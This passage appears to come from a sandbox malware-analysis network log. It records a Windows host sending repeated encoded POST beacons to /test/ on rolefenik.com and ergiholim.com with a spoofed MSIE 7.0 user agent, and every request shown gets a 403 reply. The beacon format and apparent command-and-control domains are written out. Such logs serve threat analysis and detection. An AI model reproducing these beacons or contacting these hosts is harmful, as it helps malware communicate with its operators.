2024-11-13 17:23:28 UTC	754	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:23:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yQGNoPJj4b6FfOmS%2BYwm1LNKHnm6JlviO4g3wRHlASmckX7NPt%2FA%2BVt4QjfeL24KVZbzwsRU8N4%2BgzwqR9DUIyYhdc%2BoetczZuqiNtLbdg%2FAHEC68rQDWjlY4ktlHmZc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e20732468f9d78b-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=137605&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=21075&cwnd=32&unsent_bytes=0&cid=73ddc33a4c9826a8&ts=553&x=0"
2024-11-13 17:23:28 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:23:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	50070	104.21.92.105	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:23:29 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:23:29 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:23:29 UTC	752	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:23:29 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=h492SEKam0kHZsn9UuyKimtDKEKIP36gJCpHdbdJxynH2DJf%2FGr%2BU7bbaqEayy%2Fs44XC4jEDRVPHYp6%2FpCN3Y4WZMzQbBWhQ%2FVo9O1wkmSmFgYbeUdYX7npLSQ3xJBeW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e20732dcc24f675-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=138745&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=18395&cwnd=32&unsent_bytes=0&cid=28bb09f686d417be&ts=553&x=0"
2024-11-13 17:23:29 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:23:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	50071	104.21.15.162	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:23:30 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:23:30 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:23:31 UTC	748	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:23:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UgOy7b8h9ZPo%2BOPQ9nXPf2tUt8QWHOYqWaHtpM2DervZ9RJNJLPG43P07W1FB7n683mGTThlhTjYOHHs%2BHGyDuhpp6c%2B4xr74XXiKOL1NaAXJbaKfaJKBf2jx6SpCLGL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e207336ffe1d74b-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=131061&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1167&delivery_rate=22098&cwnd=32&unsent_bytes=0&cid=4501c5613c3f94c9&ts=615&x=0"
2024-11-13 17:23:31 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:23:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.6	50072	104.21.92.105	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:23:32 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:23:32 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:23:32 UTC	752	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:23:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2WCZI4zr%2FOT5u9EnGAYUPHs%2BuvBjmDNi0bwxRw2WS8t0i37k04eRVN%2FLwKWX8VMOEJm2E8C8X%2FAU%2BtwvrFxlHtvruMZbP4frLcp5JZUjoAvNTPH8KJQVvsZmq4Iwl162"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e20733fbb226bc8-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=981&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=2861660&cwnd=235&unsent_bytes=0&cid=7f679857cbd07a7a&ts=417&x=0"
2024-11-13 17:23:32 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:23:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.6	50074	104.21.15.162	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:23:33 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:23:33 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:23:34 UTC	744	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:23:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=whIsG8DA0uyqXXPGqgI0f6E9Knl38Mk9pax1SjHnVCAGboHXedOX227srRQY2iGR3rm9rMu1hGagWeWOvtkSBAwGBLsZFcV6lW915U%2FbYC7bWJQg7fxg9HcUKUj98Zgp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2073484b78e3a5-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=138035&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=19439&cwnd=32&unsent_bytes=0&cid=f4bd36db14e8d446&ts=831&x=0"
2024-11-13 17:23:34 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:23:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.6	50076	104.21.15.162	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:23:35 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:23:35 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:23:36 UTC	754	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:23:36 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KBEY6aFdYysGtc1lexUwe2czszcmxSm1%2FTP7s%2FBLYIm%2BWT5qEqrzNtoxowUTerLdEM%2FB5wv9uohz2%2Bv5UNh6xWtEcj1vOCpQWlwD5FApM2n%2F0owmU2rU1JPe7rcGbtcE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e207356af3fd759-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=136593&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1167&delivery_rate=22040&cwnd=32&unsent_bytes=0&cid=9e4a5e3dffdcdc74&ts=878&x=0"
2024-11-13 17:23:36 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:23:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.6	50077	104.21.92.105	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:23:37 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:23:37 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:23:37 UTC	751	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:23:37 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Fk2HRn2bSb%2BRwUO026S3Ca6xUM8Br8CcFECYvSAidACVK8OoHHGPSQGlefY7cacTaDlUHG%2F50YfW2Ti19WsohTGJYG5KEXvxGN%2BRt4dGIDCC%2BwPpJVOmKDCYAKrn9q14"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e20735fbb56a918-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2228&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1167&delivery_rate=1294590&cwnd=177&unsent_bytes=0&cid=38110786e51e7e48&ts=397&x=0"
2024-11-13 17:23:37 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:23:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	50078	104.21.15.162	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:23:38 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:23:38 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:23:39 UTC	748	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:23:39 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fqHhDDa9vWu2f6ggicUok6Ays%2BQpWh0csmu8pwtkKHF70LwAp9GKoBjEThnFbUpkXpTPnJjQSbX8ub1SsYVxrvoiGx6JrUbYX5qJUobe3ra9ST39Sqo%2BwFL2WAoHhS%2BN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2073689b8bd743-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=134490&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=22078&cwnd=32&unsent_bytes=0&cid=58b9efb659a76c0e&ts=603&x=0"
